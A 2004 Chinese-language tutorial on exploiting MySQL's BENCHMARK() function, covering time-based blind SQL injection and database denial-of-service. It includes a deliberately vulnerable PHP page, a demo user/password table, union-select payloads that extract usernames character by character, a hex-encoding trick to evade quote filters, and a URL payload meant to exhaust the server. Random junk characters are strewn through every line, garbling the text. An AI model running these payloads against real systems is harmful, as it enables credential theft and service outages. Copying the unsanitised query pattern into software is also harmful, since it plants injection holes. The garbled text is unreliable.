MYSQL中BENCHMARK函数的利用 ( x4 C' o. \( J! W! ?
本文作者:SuperHei$ e b+ H1 N- q3 D
文章性质:原创" P6 y |8 ^4 G- k
发布日期:2005-01-02
. U" \& a# f) Q+ ~完成日期:2004-07-09
$ J9 E( y5 x j) B X3 O' O% P, l第一部: V! j3 S$ a3 U3 m; T$ |
0 w: z; A9 S. w4 Q6 f1 S
利用时间推延进行注射---BENCHMARK函数在注射中的利用 ; d+ y- ?9 f6 }! }+ I% S
! _& J; P$ F0 Y7 q& p- b
一.前言/思路% c# Z: N8 s+ b9 w8 E! n/ w; h" t
) o) ?: E9 z+ ^ T( c; U 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。! J4 Q& n3 k3 r- x. [0 }
( F& @& E' \6 a9 w* t& w! p* _, P
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
* H" d! W+ w3 k2 g/ W4 h+ _
3 q7 d3 L7 M: }9 S; S& Z2 L$ G! S二.关于BENCHMARK函数
' u% i& u+ v" B6 ^+ E6 R# Z3 w/ r4 i- N' O7 d- f0 ]. {& q4 C
在MySQL参考手册里可以看到如下描叙:
, b. M4 S! `& T+ c: u
# K- W8 h" u a @* j, P5 {
) P' [; [1 P+ w7 z' r3 v4 h--------------------------------------------------------------------------------4 V% _$ L- }$ b8 N, a$ N
- ^; ^3 R' d* B% |) J: Y! h
BENCHMARK(count,expr) {2 i/ `( k. e, h1 `4 U1 o* }1 I
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
j, u( `6 A2 _4 ~mysql> select BENCHMARK(1000000,encode("hello","goodbye")); $ B4 c& k, e D, q2 W) C0 Y
+----------------------------------------------+
1 |' [( f" F) E- s| BENCHMARK(1000000,encode("hello","goodbye")) | 6 \) l6 k. u1 H: e, v0 Q% \
+----------------------------------------------+
. P0 R4 D( s. W9 U, r* K| 0 | % w/ h( o" A0 W
+----------------------------------------------+
5 p* m- d, d7 Z- Y! ?1 row in set (4.74 sec) & {1 V/ c. G% b U/ ~
& Z5 ]8 a5 c" f/ m
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。+ V* q7 ]* [0 `! T0 Q! l
* G% x) b! Z3 C. N6 A E3 L! [$ @
. }* r( n e; N
--------------------------------------------------------------------------------' O) z3 w1 P0 N" x6 J' P9 h, Z
# _2 z% c& R8 ?2 X. _5 Y# Y 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 6 P# v6 n( V p3 @' ^
4 s* S9 r! E5 \9 M! M! r# z$ [" K# Omysql> select md5( 'test' );
8 Z3 Z2 m$ ?% h4 M0 \+----------------------------------+
) B4 R) ]9 A. V4 T0 J8 w| md5( 'test' ) |
* A$ e* i$ o F. G+----------------------------------+ 0 B% M L. h9 }; L$ H, Z
| 098f6bcd4621d373cade4e832627b4f6 |
8 Q* j+ z3 s+ z& ?% M+----------------------------------+ 4 j! n$ V2 B- e( j* `2 Q
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec ( K# K4 V/ F& m# i, G
% K2 e) I7 r' H" @) h, q
mysql> select benchmark( 500000, md5( 'test' ) );
, P+ |: R) [. @. R" K$ ^1 R+------------------------------------+
/ D4 ^: I1 ~( t/ ?3 t& u| benchmark( 500000, md5( 'test' ) ) | 7 A& o0 [$ @8 n/ E* o
+------------------------------------+
$ B. Q, F5 ?- C8 I/ w| 0 |
9 x) ~. j( w7 Q$ P3 {1 {+------------------------------------+
4 Z l: T: P o$ D0 n4 C1 row in set (6.55 sec) 〈------------执行时间为6.55 sec6 M( k0 l' l# `% o8 I0 D C/ y
* K$ x7 ?8 ?/ i* k3 w4 K/ x, n* D2 C
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 ( f6 R- x' g; t5 j! {, Y4 {5 N$ ?
! o0 q/ L1 x1 v) X# i$ Q" ]7 a
三.具体例子
( H1 i4 |1 P7 \1 `$ }1 V9 t
6 Y5 O' @4 p+ Z( q+ ~+ P. R 首先我们看个简单的php代码:" }! O. |) b6 {* S% a6 n* C' U
- i7 a) ] E1 b( G% ?# E< ?php x X7 o* R8 U. [0 t: {
$servername = "localhost"; % Z/ R( W( E7 Z8 |. j* \1 G
$dbusername = "root";
* U' Z1 r8 k9 \' [$dbpassword = "";
) U+ n$ a+ z2 J) S9 v- ?- G$dbname = "injection"; 8 f5 _. F9 o! p6 U' T& Q
: W$ K* G! ^% {' o& Fmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); # ?3 J% ~- _" i5 ?4 F
" z- I1 X0 `1 n; R7 b- ]
$sql = "SELECT * FROM article WHERE articleid=$id"; - L0 m H' L( H1 {+ I
$result = mysql_db_query($dbname,$sql); " H/ J* b2 v- {
$row = mysql_fetch_array($result); * }* N; F3 G) z3 R1 }& x* P6 t% o5 A
3 h# Y& v8 Q# f F- P& Z
if (!$row) - K6 C; D. U. ^: }
{
; c$ {7 o7 e2 k5 Wexit;
% m7 c3 f9 ?+ I+ D6 J1 I: D7 a5 U}
/ T2 m) ~( K* q9 |?>3 T3 v$ l+ |. x4 Z$ p7 W) A
3 C) ^' p# X# x! {: h
$ ~/ J0 p1 ~3 d0 e, ^ 数据库injection结构和内容如下:/ X& j: o8 q# q @
- A0 E. p+ j* R; J! i
# 数据库 : `injection` # w. I. j( Y; c! |9 f( n" O
#
3 _4 d( f# T1 V( X k
. _0 w9 }1 c" f! x) j9 ^# --------------------------------------------------------
2 |6 d; R9 o( G1 A8 s9 v
4 Z4 j% [: R1 K3 y" S3 e) w* u#
- y: D% g7 b8 U7 D v& J; k# 表的结构 `article`
6 a( v& O' J9 ?#
! \9 u& X; @% P2 X
, V: M0 m e2 T) m0 j. f& `CREATE TABLE `article` ( 4 K# [# J, l- m- B5 B
`articleid` int(11) NOT NULL auto_increment, 6 v$ _1 @7 O/ f e2 K+ W
`title` varchar(100) NOT NULL default '',
. G+ K1 Q! M1 B* m6 [1 d`content` text NOT NULL,
+ v& |8 A. C/ P& gPRIMARY KEY (`articleid`) 8 G8 Z: [& N. M% D, ?! ~: O
) TYPE=MyISAM AUTO_INCREMENT=3 ;
+ D$ T4 m. `( _' C% R( z0 q O$ T, W) T% d% L9 B1 F( _4 h
# , r$ O+ h) `3 E; p/ R1 {
# 导出表中的数据 `article` 6 T/ {5 H4 h7 J e% X
# 7 @" q) j3 i! u, F) h
6 M( }# ^8 N; w8 x
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); ! N- r% g4 d8 ~' ]
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
% f2 H' S, n# a% i: _& D4 m, U7 t
# -------------------------------------------------------- 4 @" t* Z& h% U9 `" I
. J3 T. g" @* ?8 W
# 5 s. C9 v5 b0 k$ s- x9 t
# 表的结构 `user` % L9 |7 f" f$ |) D9 @2 ~
# % m+ ~; L7 H0 Q
' z7 F! @- V- \0 {' l6 p8 R5 |5 k
CREATE TABLE `user` ( 2 A; h9 ~* I7 G ^* g/ Q- U' q, k: @
`userid` int(11) NOT NULL auto_increment, $ n% {, k+ E- _; q4 Z/ N! b' d/ \; X( ^ m
`username` varchar(20) NOT NULL default '',
Y/ p8 \# y8 {( Q5 A+ v0 C" F+ {`password` varchar(20) NOT NULL default '',
9 T7 a! h; Q" f) d% s9 u6 S6 rPRIMARY KEY (`userid`) 6 ?! [4 K! D0 X- |, _
) TYPE=MyISAM AUTO_INCREMENT=3 ; ( y" J# u0 D+ _2 j) n% v, J
% @7 o. L! Y: v0 }* k# g8 S$ F
#
7 p. |; P" E" w6 G; a# 导出表中的数据 `user`
" Y) G% e$ O0 c9 t; l; z: n# 6 f9 a+ K2 i% j2 ^$ u& G
3 r( F) U) x0 V/ K1 s; ~( VINSERT INTO `user` VALUES (1, 'angel', 'mypass'); % M4 v7 C2 g! w/ w
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
- L9 K( ~1 n. F* Z' [" ~2 Y* C
# E8 [1 r3 f: }, N! i$ z
4 j( _. D$ _& Y) S) @ 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
; t+ x; Q0 c" h/ b
0 _$ b. g! _+ }0 v6 G; z pid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*. U; a# v& b9 n6 F* }8 |6 N2 Z
1 \4 \% `; l1 O6 s' |+ p+ P# @- g* H9 x% X, Q3 h' v
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:2 o+ _: H9 y) e7 |8 u0 I
U6 H. |; v. {! p
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*2 u5 {( F) n! Q+ n3 O% s4 f
: @. n( p& n- g0 O. r% W; W0 I( ~* p t; s- `; m. K
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
M2 f# }% {1 e) {/ l. a, r3 Z2 S% g* e4 a; x5 G/ e9 O
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 / b0 U6 a! V" x5 r% b7 Z9 F5 Z
4 C D' C- w/ }; L J y1 q! B9 }+ x
第二部. d: N$ Z6 V5 K$ I
: @9 p% _* c! n$ b+ h利用BENCHMARK函数进行ddos攻击
7 w' I. G; _7 a& y
8 d9 U3 C8 k2 ?/ Y' s 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:/ }0 ~- a8 \; ]% [6 K
/ r/ D, B) V7 r( T7 c4 q& V) Rhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
/ _( r) R7 C, Q 9 H9 l! i0 M1 T$ d! u. X
$ t: G9 F7 p1 j9 C2 J, t小结
5 M1 ]! t# H6 y( V9 t5 l1 j* |# d: v6 j- _2 O
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
; l( U9 j" W8 H , M: n& k% k7 h
P+ U. A# ]4 f, L8 q3 S& F$ a+ ^ |